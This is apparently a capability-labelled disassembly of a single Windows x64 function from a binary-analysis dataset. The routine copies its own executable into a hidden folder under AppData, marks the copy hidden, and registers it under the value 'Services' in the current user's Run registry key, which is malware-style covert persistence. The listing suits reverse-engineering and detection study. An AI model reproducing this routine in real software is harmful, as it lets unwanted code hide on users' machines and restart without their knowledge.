Function at 0x1400057fc
Capabilities:
Copy file
Create directory
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x2f8]
sub rsp, 0x3f0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
mov rbx, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
mov byte [rbp - 0x78], sil
xor edx, edx
lea r8d, [rsi + 0x22]
lea rcx, [rbp - 0x77]
call fcn.14000ecc0
lea rcx, [rbp - 0x78]
call fcn.1400052bc
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x1400058a1
mov edi, 7
mov qword [rbx + 0x18], rdi
mov qword [rbx + 0x10], rsi
mov word [rbx], si
xor r8d, r8d
lea rdx, [0x140028094]
mov rcx, rbx
call fcn.1400020dc
jmp 0x140005ac8
lea rdx, [0x140028004]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1400058e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000587a
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, 0x104
mov r8d, edi
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0xc0]
mov edx, edi
lea rcx, [rbp - 0x50]
call fcn.14000d960
lea rdx, [0x140028004]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x14000587a
mov edx, 2
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or rdi, 0xffffffffffffffff
test eax, eax
jne 0x1400059fe
lea rcx, [rbp - 0x50]
mov rax, rdi
inc rax
cmp byte [rcx + rax], sil
jne 0x1400059bf
mov r9d, 1
add eax, r9d
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Services
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x48], sil
cmp byte [rbp - 0x50], sil
jne 0x140005a1c
mov rdi, rsi
jmp 0x140005a29
lea rax, [rbp - 0x50]
inc rdi
cmp byte [rax + rdi], sil
jne 0x140005a20
mov r8, rdi
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x48]
call fcn.140001fdc
nop
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae r8, qword [rsp + 0x48]
add r8, qword [rsp + 0x58]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov edi, 7
mov qword [rbp - 0x80], rdi
mov qword [rsp + 0x78], rsi
mov word [rsp + 0x68], si
lea rcx, [rsp + 0x68]
call fcn.140009d70
mov qword [rbx + 0x18], rdi
mov qword [rbx + 0x10], rsi
mov word [rbx], si
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.140008824
cmp qword [rbp - 0x80], 8
jb 0x140005aa8
mov rcx, qword [rsp + 0x68]
call fcn.1400071ec
mov qword [rbp - 0x80], rdi
mov qword [rsp + 0x78], rsi
mov word [rsp + 0x68], si
cmp qword [rsp + 0x60], 0x10
jb 0x140005ac8
mov rcx, qword [rsp + 0x48]
call fcn.1400071ec
mov rax, rbx
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.14000b170
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret